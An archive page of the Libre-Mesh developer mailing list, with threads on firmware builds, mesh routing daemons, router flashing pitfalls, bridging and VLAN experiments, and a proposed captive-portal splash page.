Hi. After working and testing lime-build, I think we can publish again the link to http://downloads.libre-mesh.org. I've tested (also Ilario) the resulting images and they work fine. Good point is that now we have many more targets (routers) available. I've even tested different architectures such as x86 (which works fine) and RAMIPS (which does not work fine in Ad-Hoc but it does in 802.11s mode). We can discuss this deeper in some IRC meeting, but I would like to invite all developers to use lime-build (¿again?) for releasing stable versions of libre-mesh and for keeping develop working for everyone. Cheers.

8 years, 10 months

4
10
0 0

New lime-build v2.0

by p4u

Hi. I've been working on a huge modification for lime-build. The idea was to simplify it by removing some functions which were not used anymore and make it more adapted to our current needs. I hope this way we will manage to use it by default. I've add a new concept for Profile, which might be for instance: generic, freifunk or chef (easy configurable in profile.mk). So this should be enough to compile one of them: make info make T=ar71xx P=freifunk But please, take a look on the README to know more: https://github.com/libre-mesh/lime-build/tree/v2.0 I've based it on develop, so right now only compiles develop. If everything works as expected and we all agree, we can migrate the rest of the branches. Testing, bugs, pull-request are welcome! Cheers.

8 years, 10 months

2
8
0 0

old redmine back online at old.libremesh.org

by Gui Iribarren

Hey folks, i just revived the old redmine (that suffered an extended downtime around may), in order to look for content that needs to be migrated or recovered, http://old.libremesh.org (https will give a cert warning since domain changed) the site is only meant to recover data, since it will probably be down again at some point in the future. (i.e. don't link to it) also it would be great to make a list of URLs and try to make them work (redirect to relevant content) in the new site, in order to not break all the links that are already published around pointing to dev.libre-mesh.org or anything in /projects for example I can take care of the second idea (say, in a few weeks) with an nginx redirect table (legacy link -> new location) but i'd need help for the first (migration), most probably from the content creators? al, pau, gio, ilario, etc? cheers! ps.

8 years, 10 months

2
2
0 0

Files included by chef

by Ilario

Hi all! As pointed out in the LiMeCat notes, Chef adds to Libre-Mesh a few scripts. Some of these are needed for Chef to customize the build, some others should be included in lime-packages if we want lime-build to produce images as good as the ones from chef. For example /etc/uci-defaults/95_add-sshkeys /etc/config/lime-defaults /etc/chef_version are needed for some of the customization features of chef (but the lime-defaults file should be up to date with the one in lime-packages). While *in my opinion* these files should be moved from chef to somewhere in lime-packages: /usr/sbin/reset_deaf_phys.sh /etc/uci-defaults/93_enable-reset-deaf-phys /etc/config/libremap /etc/uci-defaults/93_ugly-fixes /etc/uci-defaults/95_reboot-daily /etc/uci-defaults/95_snmpd /etc/uci-defaults/95_set-timezone /etc/uci-defaults/95_set-remote-syslog Gui, is there some of these files we can skip as won't be useful in the next stable release? Byyee! Ilario

8 years, 10 months

5
5
0 0

New look for libre-mesh.org web site

by p4u

I'm working in a new look for the libre-mesh web, again based on the work made in lede-project.org This time we are using jekyll + asciidoc to generate the pages. So the syntax will be the same, just the generation of HTML will be different. Good points are that it is more automatic so more comfortable for adding/modifying content, more flexible than just using raw asciidoc and the CSS stuff rocks (web responsive!). Bad point is that it depends on ruby, gems, bundler and more stuff, but it is only a server requirement, we can keep editing the pages using plain text and git. Here you can visit the current status of it: http://test.libre-mesh.org Once I finish the migration I'll push it to the lime-web git repository. Comments, critics, advises are welcome. Cheers.

8 years, 10 months

2
1
0 0

routing daemons fighting to enforce sysctl settings

by Daniel Golle

Hi! I'm currently helping to switch from some ancient OLSR1-based hand-crafted and hard-to-maintain firmware to a Libre-Mesh based environment. In order to integrate with the existing OLSR1 mesh, some nodes should run BMX6/7 as well as OLSRd (using 2 devices is not an option, we just don't have enough of them). While this generally works nicely due to the routing-table-import features of BMX6, there is a single very annoying problem: Both routing daemons try changing sysctl settings in conflicting ways without any means for the user to disable that 'egocentric' behaviour. olsrd[21487]: Writing '0' (was 2) to /proc/sys/net/ipv4/conf/all/rp_filter bmx7[1237]: INFO check_proc_sys_net(): changing /proc/sys/net/ipv4/conf/all/rp_filter from 0 to 2 I generally believe that a routing daemon shouldn't take-over the OS to a degree which makes co-existence with other routing daemons or other networking stuff impossible. Currently both, OLSRd and BMX repeatingly try to enforce settings even in /proc/sys/net/ipv*/conf/all/ which thus affects all interfaces and not only the ones governed by that specific protocol. I had a discussion with Henning about a similar issue I had with OLSRd changing send_redirects without any way to configure it not to touch sysctl values. Now the problem came back and kinda confirms my opinion that setting sysctl options (/proc/sys/net/*) is a task to be carried out by the OS, ie. netifd on OpenWrt/LEDE or connman or NetworkManager or whatever-you-use. Thus my demand to routing protocols developers: Please at least create a way to tell your routing daemon "don't touch my sysctl, I'll take care of it myself!". This should imho be the default for the OpenWrt/LEDE build of the routing daemons and netifd should handle stuff like rp_filter and send_redirects -- the routing daemon might still warn you about UCI settings known to cause problems under certain conditions. Cheers Daniel

8 years, 10 months

2
1
0 0

lime Firmware on libre-mesh download website broken

by Ufo

i just tested lime firmware from http://downloads.libre-mesh.org/firmware/ar71xx/ on a tplink841. but it seems to bee broken. file are from 2016, but still openwrt-bb and more worse: wifi wont start so it may be better to delete these directories until there is a more working firmware? ufo -- --------------------------------------------------------- LiMe 15.04 BigBang (15.04 rev.a1b8263 20160505_1303) --------------------------------------------------------- http://libre-mesh.org --------------------------------------------------------- root@LiMeNode-aaebed:~# bmx6 -cd8 status: version compat name primaryIp tun6Address tun4Address uptime cpu nodes BMX6-0.1-alpha 16 LiMeNode-aaebed fd66:66:66:7:ea94:f6ff:feaa:ebee fddf:ca8a:15ad::aa:ebed/64 10.138.21.237/24 0:00:40:22 0.1 1 interfaces: devName state type rateMin rateMax llocalIp globalIp primary eth1_13 UP ethernet 1000M 1000M fe80::ea94:f6ff:feaa:ebee/64 fd66:66:66:7:ea94:f6ff:feaa:ebee/64 1 originators: name blocked primaryIp routes viaIp viaDev metric lastDesc lastRef LiMeNode-aaebed 0 fd66:66:66:7:ea94:f6ff:feaa:ebee 0 :: --- 128G 124 0 tunnels: name net min max hyst rating minBw tunName tunRoute remoteName advNet advBw pathMtc tunMtc clouds 10.0.0.0/8 8 128 20 100 960 --- --- --- --- --- --- --- inet4 0.0.0.0/0 0 0 20 100 960 --- --- --- --- --- --- --- inet6 ::/0 0 0 20 100 960 --- --- --- --- --- --- --- nodes 172.16.0.0/12 12 128 20 100 960 --- --- --- --- --- --- --- publicv6 2000::/3 3 64 20 100 960 --- --- --- --- --- --- --- root@LiMeNode-aaebed:~# cat /etc/openwrt_* DISTRIB_ID="OpenWrt" DISTRIB_RELEASE="Barrier Breaker" DISTRIB_REVISION="r44952" DISTRIB_CODENAME="barrier_breaker" DISTRIB_TARGET="ar71xx/generic" DISTRIB_DESCRIPTION="OpenWrt Barrier Breaker 14.07" DISTRIB_TAINTS="no-all mklibs" 14.07 root@LiMeNode-aaebed:~# iw dev wlan0 info nl80211 not found. root@LiMeNode-aaebed:~# df Filesystem 1K-blocks Used Available Use% Mounted on rootfs 512 232 280 45% / /dev/root 2304 2304 0 100% /rom tmpfs 14480 652 13828 5% /tmp /dev/mtdblock3 512 232 280 45% /overlay overlayfs:/overlay 512 232 280 45% / tmpfs 512 0 512 0% /dev root@LiMeNode-aaebed:~# --- Freifunk Leipzig http://leipzig.freifunk.net

8 years, 10 months

2
1
0 0

Re: [lime-dev] getting into libremesh

by Gui Iribarren

On 25/05/16 09:55, Daniel Golle wrote: > Hi! > > Thanks for building that great set of packages enabling (almost) > stateless autoconfiguration mesh routers! I hope to use all that in my > local freifunk environment; many people here are interested in LIME and > I'll help getting it to interoperate with our local legacy OLSRv1 mesh > and the way we use batman-adv... My main goal is to start collaboration > (software development, bug fixing, ...) beyond the local firmware > projects which are either half-abandonned or do not offer anything near > to how lime's webui is enabling new people to get into the story and of > course, none of them (meshkit, gluon, ...) are truely modular and/or > offer good support for more than the single routing protocol they were > originally written for. It should also be easy to have some > meta-packages in LIME which would select the packages needed for > typical freifunk OLSRv1 and/or batman-adv setups (expect pull-requests > for that to hit your github repo soon). > > However, while preparing the switch to libremesh some questions and > oddities arrised. > I'm building from source, ie. enabled lime-packages and libremap feeds. > I can't use the binaries as most of the hardware I use is unsupported > or works really bad on BB. > > Questions which came up for now: > * what's missing to run LibreMesh on more recent versions of OpenWrt? > A lot of hardware was added since BB and certainly won't waste time > backporting stuff to BB, but rather spend it on helping to get LIME > run on bleeding-edge LEDE or at least OpenWrt's CC release (as people > will still be backporting hardware support for CC for a while...) try https://github.com/libre-mesh/lime-build/tree/develop (it's based on CC), that will turn into a release soon > * http://chef.libre-mesh.org is unavailble... what's supposed to be > there and how to bring it back? mmh, dns is unset for some reason anyway it points to http://chef.altermundi.net > * lime-eb-ip-tables: why not use fw3? personal preferences :P in my case, i do install and use fw3, but other devs prefer not to bundle the firewall, so we give the option (i.e. if you install fw3 everything will work as well and be integrated as expected) > * why redundantly create per-device images instead of just using > OpenWrt/LEDE ImageBuilder? ie. the downloads here > http://downloads.libre-mesh.org/firmware/ > are hard to understand for outsiders, also for long-term OpenWrt > hackers like myself. E.g. for which hw-revision is supported by the > image for the TL-WR841N(D)? good point :) currently, pau is the only one vouching for custom renaming, i'm personally against, and Gio i think doesn't really care > I had that build-a-wrapper vs. use-OpenWrt-SDK-and-ImageBuilder > debate a bunch of times and I'm sure that most people building > wrappers just don't know what they are missing and/or how much extra > work they have to go through compared to just using OpenWrt/LEDE in > the way it was meant to be used... totally agree, but doing a project together involves trying to reach consensus, and when that's impossible, concessions :) > * How can I reproduce the way the images on downloads.libre-mesh.org > have been built (ImageBuilder? List of packages/files added/removed)? it's supposed to be a simple "git clone lime-build ; cd lime-build ; make", but Pau can clarify > > I'll certainly have more questions soon :) > keep them coming! :D > > Cheers > > > Daniel >

8 years, 11 months

4
4
0 0

IRC Thursday evening

by Amuza

Hi! Some more-or-less techie friends are meeting tomorrow evening to learn to compile the code. The idea is to be able to recycle many of those old ISP routers the community members say they have. Hopefully they will become nodes of our future Libre-Mesh networks. We will follow the steps in the website, but it'd be nice if any of you could show up tomorrow evening in your IRC channel. Just in case we need some help. Cheers!

8 years, 12 months

1
0
0 0

getting into libremesh

by Daniel Golle

Hi! Thanks for building that great set of packages enabling (almost) stateless autoconfiguration mesh routers! I hope to use all that in my local freifunk environment; many people here are interested in LIME and I'll help getting it to interoperate with our local legacy OLSRv1 mesh and the way we use batman-adv... My main goal is to start collaboration (software development, bug fixing, ...) beyond the local firmware projects which are either half-abandonned or do not offer anything near to how lime's webui is enabling new people to get into the story and of course, none of them (meshkit, gluon, ...) are truely modular and/or offer good support for more than the single routing protocol they were originally written for. It should also be easy to have some meta-packages in LIME which would select the packages needed for typical freifunk OLSRv1 and/or batman-adv setups (expect pull-requests for that to hit your github repo soon). However, while preparing the switch to libremesh some questions and oddities arrised. I'm building from source, ie. enabled lime-packages and libremap feeds. I can't use the binaries as most of the hardware I use is unsupported or works really bad on BB. Questions which came up for now: * what's missing to run LibreMesh on more recent versions of OpenWrt? A lot of hardware was added since BB and certainly won't waste time backporting stuff to BB, but rather spend it on helping to get LIME run on bleeding-edge LEDE or at least OpenWrt's CC release (as people will still be backporting hardware support for CC for a while...) * http://chef.libre-mesh.org is unavailble... what's supposed to be there and how to bring it back? * lime-eb-ip-tables: why not use fw3? * why redundantly create per-device images instead of just using OpenWrt/LEDE ImageBuilder? ie. the downloads here http://downloads.libre-mesh.org/firmware/ are hard to understand for outsiders, also for long-term OpenWrt hackers like myself. E.g. for which hw-revision is supported by the image for the TL-WR841N(D)? I had that build-a-wrapper vs. use-OpenWrt-SDK-and-ImageBuilder debate a bunch of times and I'm sure that most people building wrappers just don't know what they are missing and/or how much extra work they have to go through compared to just using OpenWrt/LEDE in the way it was meant to be used... * How can I reproduce the way the images on downloads.libre-mesh.org have been built (ImageBuilder? List of packages/files added/removed)? I'll certainly have more questions soon :) Cheers Daniel

8 years, 12 months

1
0
0 0

Libre-Mesh branch release

by Pau

Hi. Today I was compiling libre-mesh 15.09 (which should be currently the last stable release) using lime-build. So I cloned lime-build and checkout branch "15.09". I found that the branch 15.09 did not exist in any of our frozen repositories (openwrt-routing, packages, libremap and oldpackages). So the compilation process ends up without any error but also without any packet such as bmx6 nor bat-adv. I thought we the idea was that once we release a new version we create a new branch to ALL the repositories including lime-build, so 15.09 must exist. Am I wrong? I have created 15.09 from 15.04 to all the repositories. If there is no objection I will write it down on our new web site to make it clear forever. Cheers. -- ./p4u

9 years

1
0
0 0

A fast look to develop

by Ilario Gelmetti

On a TL-WDR3600 I was looking at the differences between the /etc/config/network file in the last stable release and the develop branch (great work going on there in these days!!). Here are some lines which I want to bring to your attention (they could be ok, but look suspicious to me): config interface 'wan6' option proto 'dhcpv6' which becomes: config interface 'wan6' option proto 'none' config device 'lm_anygw_dev' which becomes: config device 'lm_net__lan_anygw_dev' (yes, with two joined underscores) config device 'lm_wlan0_adhoc_batadv_dev' option name 'wlan0-adhoc_203' which becomes: config device 'lm_net_wlan0_adhoc_batadv_dev' option name '-lm-net-wlan0-adhoc_118' this strange name (starting with a dash) repeats along the file Then some more random observations :D batctl if prints just eth0-2_118: active while I expected to see also the wireless interfaces here # ps |grep bmx 3509 root 1168 S grep bmx so no bmx daemon is running? sniffing on the ethernet ports of the router I can see batman packets coming out just on the WAN port and not on the LAN ports. I compiled the image using the new recommended system: lime-build then I noticed that some of the packets that was suggested to deselect by the old traditional compilation guide are indeed selected here: CONFIG_PACKAGE_odhcpd=y CONFIG_PACKAGE_firewall=y Keep up with the good work :D Ilario -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years

3
3
0 0

Re: [lime-dev] Bug in network.lua

by Gio

On Friday 22 April 2016 01:34:50 Ilario Gelmetti wrote: > Oi, come va? > Quando con Gui abbiamo provato il lime develop ci siam resi conto che le > interfaccie wifi non erano configurate e che quando si lanciava il > lime-config dava un errore su un campo specific che stavi cercando di > aggiungere ad una stringa. > Ciao! > Ilario Should be solved by this commit https://github.com/libre-mesh/lime-packages/commit/392b883f573df8cc163b283c… Fresh images for tl-wdrXXXX are being compiled right now and will be available at http://nicolasacco.diveni.re/~gioacchino/openwrt/lime-build/build/develop/b… Check the build date to be after 7:26 PM of today I don't have routers under my hands to test it myself right now so feedback is very welcome! Cheers!

9 years

1
0
0 0

LiMeCat meeting: this weekend

by Ilario

Hi all! Sorry for the delay (and for cross-posting) but finding out when the devs are available was quite tricky. So, the meeting will be this weekend, from Saturday 16th afternoon to Sunday 17th morning (but likely there will be something going on also on Friday evening). The location is still not well defined, what I know is that it will be somewhere in Valldoreix (Bcn). Stay tuned. Ilario

9 years, 1 month

2
2
0 0

Catalan Libre-Mesh Meeting discussion on LiMe-users ML

by Ilario

Hi devs! If you're not subscribed to LiMe-users list maybe you missed a discussion [1] about having a small meeting of the Libre-Mesh community in April somewhere in Catalunya. This is thought as a warm up before the BattleMesh v9 and developing/testing/debugging session for Libre-Mesh :) Please join the discussion on LiMe-users list! Ilario [1] "Catalan Libre-Mesh Meeting" in http://lists.libre-mesh.org/pipermail/users/2016-April/thread.html

9 years, 1 month

1
0
0 0

bmx6 basics

by Richard Maliwatu

Hello, I'm trying to configure bmx6. Using the basic configuration specified in the wiki[1], I got the error: [18958 0] ERROR dev_if_fix: No global IP for dev=wlan3 ! DEACTIVATING !!! [18958 0] WARN dev_check: not using interface wlan3 (retrying later): DOWN CHANGED ila=0 iln=0 I'd like some hints on setting the global IP for bmx. Also, what is the format for the globalPrefix and llocalPrefix? I'll be happy to look at a sample config file ~/etc/config/bmx6. When I use the luci web interface using the <network>/<length> format, I get invalid llocalPrefix. Any examples of globalPrefix as well as llocalPrefix values? Cheers [1] https://github.com/axn/bmx6/blob/master/README.md -- ------------------------------------------------------ Richard Maliwatu PhD student, ICT4D Lab University of Cape Town Computer Science Department http://people.cs.uct.ac.za/~rmaliwatu/

9 years, 2 months

2
4
0 0

building libremesh on trunk (Designated Driver)

by panda

Hi! I'm Matteo from Ninux Bologna, we are a Italian growing wireless community network and we use openwrt. I bought a pair of TP-Link CPE510 (https://wiki.openwrt.org/toh/tp-link/tl-cpe510) to test libremesh/openwrt on it because we are trying to find reliable alternatives to Ubiquiti Nanostation M2/M5. I checked the TOH of openwrt seeing that v1 was well supported, but the CPE510 that arrived to me are v1.1. Chaos Calmer seems to need a patch to support these antennas (http://git.openwrt.org/?p=openwrt.git;a=commit;h=c8315df1affa8eadb2ccbfd421…). I tried to edit the file adding the lines indicated in the diff and now it's compiling, we'll see if it works. I found that "stock" Designated Driver works well on the antennas, so I built a libremesh image (with the manual process, not with lime-build), it went well and it installed on the CPEs. the images have been compiled following these steps: https://wiki.bologna.ninux.org/mediawiki/index.php/CompilareDaOpenWrt-TRUNK beware they are customized for our network: https://repo.bologna.ninux.org/BleedingEdge_DesignatedDriver_20160208_01_li… I know that on the site is written that building from trunk is not supported, has anything changed? Should I expect any known problems? Having it installed on 2 identical devices, may I contribute in any way? I have found what seems to be a problem: if I connect a client with eth I can reach the rest of the network (the common gateway anche the ips of the other devices) via IPv4 ONLY IF IPv6 is enabled, otherwise I can reach only the recources I am attached to (in my test only the ip of the antenna). thank you very much, Matteo

9 years, 3 months

2
1
0 0

Fwd: Re: [OpenWrt-Devel] Dissociate STA based on SNR

by Gio

---------- Forwarded Message ---------- Subject: Re: [OpenWrt-Devel] Dissociate STA based on SNR Date: Monday 18 January 2016, 15:46:28 From: Bastian Bittorf <bittorf(a)bluebottle.com> To: Nishant Sharma <codemarauder(a)gmail.com> CC: openwrt-devel(a)lists.openwrt.org * Nishant Sharma <codemarauder(a)gmail.com> [18.01.2016 15:40]: > I was wondering if there is a way to dissociate STAs who say go below > a minimum threshold SNR or signal level of say -65dBm in a multi-AP > scenario? we also faced this, while doing roaming. i workaround is to have something like: #!/bin/sh iw event | while read -r LINE; do case "$LINE" in *': del station '*|*': new station '*) # wlan0-1: del station 00:21:6a:32:7c:1c # wlan0: new station dc:9f:db:02:b8:ee ...your own logic here... ;; esac done what we do e.g. is if a station connects for the first time and signal is below -70, we just kick. #!/bin/sh dev='wlan0-1' mac=... ubus call hostapd.$dev del_client '{ "addr" : "$mac", "reason" : "assoc toomany", "ban_time" : 10000 }' if the same mac connects during a specific time again, we dont kick 8-) - really, it's just a workaround. bye ,bastian _______________________________________________ openwrt-devel mailing list openwrt-devel(a)lists.openwrt.org https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel -----------------------------------------

9 years, 4 months

1
0
0 0

Don't flash from AirOS 5.6.X to OpenWRT

by Ilario Gelmetti

From AirOS 5.5.X to 5.6.X the size of memories on the flash changes so that flashing OpenWRT (or other non AirOS firmwares) bricks the device. From https://wiki.openwrt.org/toh/ubiquiti/airmaxm "Special Firmware Note: AirOS XM.v5.5.X images used U-Boot 1.1.4.2-s594 (Dec 5 2012 - 15:23:07). The OpenWRT image can be successfully flashed onto these versions of firmware. However, in July 2015 Ubiquiti released a new version of firmware XM.v5.6.X. With this firmware a new U-Boot version was released, U-Boot 1.1.4.2-s956 (Jun 10 2015 - 10:54:50). The newer U-Boot version changes the memory size and starting address for rootfs, cfg, and EEPROM. LOADING AN OPENWRT IMAGE ON A U-Boot 1.1.4.2-s956 WILL CAUSE THE DEVICE TO BE BRICKED!!! If the device has XM.v5.6.X, an older version of XM firmware can be loaded from the AirOS webgui (for example XM.v5.5.10) and U-Boot will be overwritten with the older version. OpenWRT can then be loaded onto the device successfully." Anyway if you have a way for un-bricking such devices let me know, as I have 4 devices bricked this way. There's also a bug report on this problem https://dev.openwrt.org/ticket/20982 Bye, Ilario PS sorry for cross-posting -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 4 months

1
0
0 0

Ground routing on TP-Link WR1043ND-v1

by Ilario Gelmetti

Hi all! I was trying to set up two nodes with the ground routing approach [1] using lime-hwd-ground-routing module. For the first node the ground router was a TP-Link WDR3600 and everything worked like a charm, amazing. The problems come with the second node where the ground router was a TP-Link WR1043ND-v1. I configured the ground routing copying the example in lime.example file [2] and changing just "option vlan" to "7", "option switch_cpu_port" to "5" (from OpenWRT wiki [3]) and "list switch_ports" to "2". Then lime-config, uci commit and reboot, as usual. The autogenerated /etc/config/network did look ok. The problem was that no vlan Q with id 7 tagged packets were coming out from port 2. I didn't have time to save logs, files or to do much debugging, I just throw the ground routing approach and installed Libre-Mesh on every device. Does anyone have this router (TP-Link WR1043ND-v1) for reproducing the problems or any ideas of why this was happening? Thanks, Ilario [1] http://libre-mesh.org/projects/libre-mesh/wiki/Ground_routing [2] https://github.com/libre-mesh/lime-packages/blob/develop/packages/lime-syst… [3] https://wiki.openwrt.org/toh/tp-link/tl-wr1043nd#switch_ports_for_vlans -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 4 months

1
0
0 0

lime-full: why not also batman-adv-auto-gw-mode and lime-hwd-usbradio

by Ilario Gelmetti

Hi all! Why the module batman-adv-auto-gw-mode is not included in lime-full? Does it have a negative impact when all the remaining lime-full modules are active? I would like to understand this because I'm going to use a set-up with lime-full + lime-hwd-ground-routing + batman-adv-auto-gw-mode. And lime-hwd-usbradio? Isn't safe to include it in standard Libre-Mesh? Thanks, Ilario -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 4 months

2
2
0 0

Notifications about GitHub Issues on ML?

by Ilario Gelmetti

Hi! Do you all get notified when a new issue is files on our GitHub repositories? For example I just filed a feature request and an issue and there are 8 more on lime-packages [1]. If not, is there a way for having the notifications sent on this mailing list? Byye, Ilario [1] https://github.com/libre-mesh/lime-packages/issues -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 4 months

1
0
0 0

Re: [lime-dev] Info linux bridging

by Gio

On Thursday, December 17, 2015 06:37:02 PM vittgam(a)mietitrebbia.rocks wrote: > On 17/12/2015 12:14:53 CET, Gio wrote: > > On Wednesday, December 16, 2015 06:17:30 PM vittgam(a)mietitrebbia.rocks wrote: > >> La soluzione dovrebbe essere quella di cambiare il MAC di eth0 o eth0.10. > >> Proverò su eigenNet e ti farò sapere (mi è venuta in mente ora tutta > >> sta cosa :D) > > > > Questo l'ho già provato io pero cosi' si rompe lo stack di networking di > > linux in realtà anche se eth0.X si espone come un'interfaccia ethernet > > all'utente non lo e' dentro, quello che succede a me e' che se i > > macaddress > > di eth0 ed eth0.X non sono gli stessi non ti arrivano piu' i pacchetti > > sull'interfaccia taggata, in tutto questo si potrebbero fare prove per > > esempio l'interfaccia eth0 in modo promisc ( non sembra una cosa pulita e > > non ho pensate alle implicazioni che possa avere ) e vedere che succede > > oppure l'altra strada che ho provato e' fare altri tentativi con macvlan > > + vlan che pero non hanno funzionato visto che quando metti > > un'interfaccia dentro a un bridge non sei piu' cosi' libero... > > Io credo che la modalità promisc sia impostata internamente da linux... > In ogni caso se eth0 fa parte del bridge allora è già promisc di per sé, > anche se ifconfig non lo dice (se ad esempio fai tcpdump -ni eth0 vedi > che il kernel non dice più che l'interfaccia è entrata e poi uscita > dal promiscuous mode; poi invece se non sbaglio lo dice appena la si > mette nel bridge). Yep, Other tests i have done are: - While eth0 is bridged to create a macvlan on top of eth0 the kernel refuses to create the macvlan saying that the device is busy - Create a macvlan on top of eth0 and put the macvlan in the bridge, the kernel accept to do it but seems a macvlan port is not capable of learning and stuff like that, probably is that the kernel is not propagating the promisc flag to eth0 meybe setting manually eth0 promisc mode may be helpful but i didn't try it yet - Don't use macvlan but change the mac address of br-lan the mac address is changed but "br-lan: received packet with same mac" keep being printed on dmesg > > Per far funzionare la macvlan con il bridge l'ho dovuta mettere in modo > > passthru tuttavia questa modalità forza che il macaddress sia lo stesso > > sull'interfaccia base e su quella macvlan tornando quindi alla situazione > > iniziale... > > > > https://github.com/libre-mesh/lime-packages/commit/c0e945c6b25dd1d802b188d > > dcbc88047e614db7d > > > > Ho fatto prove con altre modalita di macvlan ma non sembrano funzionare in > > presenza di bridge > > Mi sembra strano, le macvlan mi funzionavano su kernel più vecchi (3.2) in > passthru e con mac addresses diversi (cioè è questo il punto delle macvlan), > però su x86 e schede di rete Intel... Devo provare con OpenWrt su ar71xx. Are you sure the macvlan was in passthru mode ? I noticed it have different behaviour on different devices when you change the macaddress of a passthru on a tl-wdr4300 it changes the macaddress of eth0 too while doing the same on a mynet-n600 have no effect in the sense that no error message is printed as the mac address was changed but doing ip link show the old mac address both for eth0 and passthru, > > Ti succede anche con batman recenti e/o con devices non ubiquity (ubnt > > hanno bachi hardware/driver nelle schede ethernet -_- ) ? > > Batman 2013.4.0 e Ubiquiti PicoStation M2 su OpenWrt CC r46767, appunto. > > I bug delle ubiquiti sono assurdi, sembra che ce li hanno tutti loro... > Anche alle nostre unifi gli si resetta l'ethernet a caso per colpa di > un bug dell'ar7240... On some nanostation M2 I do have in Sicilia disabling the ethernet rate autonegotiation and fixing it to 100mbps full duplex with ethtool have reduced the number of failures now the device is usable but i am not sure it solve all problems > > Mentre invece purtroppo sembra che non sia lo stesso per macvlan :( > > Farò delle prove.. forse non è implementato ancora, perché la situazione > era così per le VLAN ma ora hanno risolto da un pezzo... > > > Non ho capito bene come finiscono i pacchetti batman sugli AP > > Se allo stesso switch sono collegate due antenne (che parlano batman tra > loro con una VLAN e allo stesso tempo bridgeano eth0 con bat0) e client > ethernet e anche gli AP (gli AP non parlano batman), allora il traffico > della VLAN di batman entrerebbe nel bridge degli AP e uscirebbe da wlan0. > > > pero sembra sia > > un fattore fondamentale quello di usare firmware deversi nello stesso > > spazio/tempo vero ? > > Per ora stiamo usando questo su CC r46767: > > https://gitlab.com/VittGam/eigenfw/tree/feed > > Prima usavamo un miscuglio di vecchi AA e BB con versioni di batman diverse > (il firmware "eigennet" insomma). > La rete ora è uniforme e funziona, e appena è stabile potremo cominciare ad > aggiornare tutto a Libre-Mesh. > > Una cosa carina di questo firmware è che crea un'immagine unica > autoconfigurante che decide configurazione (anche hostname e ipv4) in base > al mac address dell'antenna su cui è flashato, non so se lime lo prevede, > nel caso si potrebbe aggiungere ;) LibreMesh has the same behavior by default ;) > (Comunque l'approccio dell'eth0 con mac diverso da eth0.10 sta fungendo qui. > eth0 fa sempre parte di br-lan qui comunque...) Yeah i remember we used that approach in Pisa but it was with an old kernel, with newer kernels on tl-wdrXXXX i don't get the packets on the vlan if the mac address get changed > > Che te ne pare se continuiamo la discussione su dev(a)lists.libre-mesh.org ? > > Perché no? Mi sono appena iscritto, credo che un admin debba autorizzare > però. Please add Vittorio in our list soon ;) Cheers!

9 years, 5 months

2
1
0 0

Nodogsplash not visible on Chef

by al

Hi all. I'm teaching on a workshop in Rio de Janeiro and people ask me about a splash when they self-managed a installation on Chef. We think that a splash is very useful in a new communities because it explain about the network. I know that you can install nodogsplash, but I think that it could be visible in the list of available and useful packages (with a "-" symbol if you consider for size reasons, but present anyway): lime-full tcpdump-mini iputils-ping snmpd lime-map-agent lime-system batctl iwinfo iw ip iputils-ping6 sprunge safe-reboot netperf rdisc6 -reghack -6relayd -dnsmasq -ppp -ppp-mod-pppoe I also attach one possible content to file /etc/nodogsplash/htdocs/splash.html Thanks! OCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>{{NETWORK_NAME}} | Red Digital Comunitaria</title> <meta name="Keywords" content="wireless, wifi, wi-fi, redes, freenetwork, network" /> <meta name="Description" content="Red digital comunitaria" /> <style> html{width: 100%; height: 100%;} body {background-color: #eed; margin:0, padding:0; height: 100%; width: 100%; color: #DDC; font-size: 9pt;font-family:arial;} .staticpage.detail{width: 100%; height: 100%;} #mascara{float:left;margin-left:auto;} /* * { margin: 0; padding: 0; }*/ #page{display:table;overflow:hidden;margin:0px auto;} *:first-child+html #page {position:relative;}/*ie7*/ * html #page{position:relative;}/*ie6*/ #content_container{display:table-cell;vertical-align: middle;} *:first-child+html #content_container{position:absolute;top:50%;}/*ie7*/ * html #content_container{position:absolute;top:50%;}/*ie6*/ *:first-child+html #content{position:relative;top:-50%;}/*ie7*/ * html #content{position:relative;top:-50%;}/*ie6*/ html,body{height:100%;} #page{height:100%;width:630px;} h1{text-align:center; font-size: 16pt;} a {color:white; text-decoration: underline;} #content{background-color: #2a2; padding: 20px; border-radius: 10px; border: 4px #dd3 dashed;} .entrar{float: right; padding: 5px; border: 2px outset #eed; border-radius: 5px; text-align:center; background-color:#fd2; box-shadow: 2px 2px 5px #444;color: black;} .entrar:hover{background-color:#fd4;} .entrar a, .entrar a:hover{color: black; text-decoration: none; font-weight: bold;} .entrar a:hover{text-decoration: underline;} ul { margin: 25px; padding: 0; } li {background-color: #181; list-style-type: none; padding: 10px; border-radius: 10px; text-align:justify} </style> </head> <body class=""> <div id="page"> <div id="content_container"> <div id="content"> <div class="content-view staticpage detail staticpage-detail html-content"> <div class="text"> <h1>Bienvenida a la Red Libre</h1> <ul> <li>Eres libre de utilizar la red para cualquier propósito mientras no perjudiques el funcionamiento de la propia red, la libertad de otros/as usuarios/as, y respetes las condiciones de los contenidos y servicios que circulan libremente.</li> <li>Eres libre de conocer como es la red, sus componentes y su funcionamiento, también puedes difundir su espíritu y funcionamiento libremente.</li> <li>Eres libre para incorporar servicios y contenidos a la red con las condiciones que quieras.</li> <li>Eres libre de incorporarte a la red y ayudar a extender estas libertades y condiciones.</li> </ul>  </div> </div> <span class="entrar"><big><a href="$authtarget">OK</a></big></span> </div> </div> </div> </body> </html>

9 years, 6 months

1
0
0 0

LiMe makefile Treegraph

by 3zl Trizonelabs

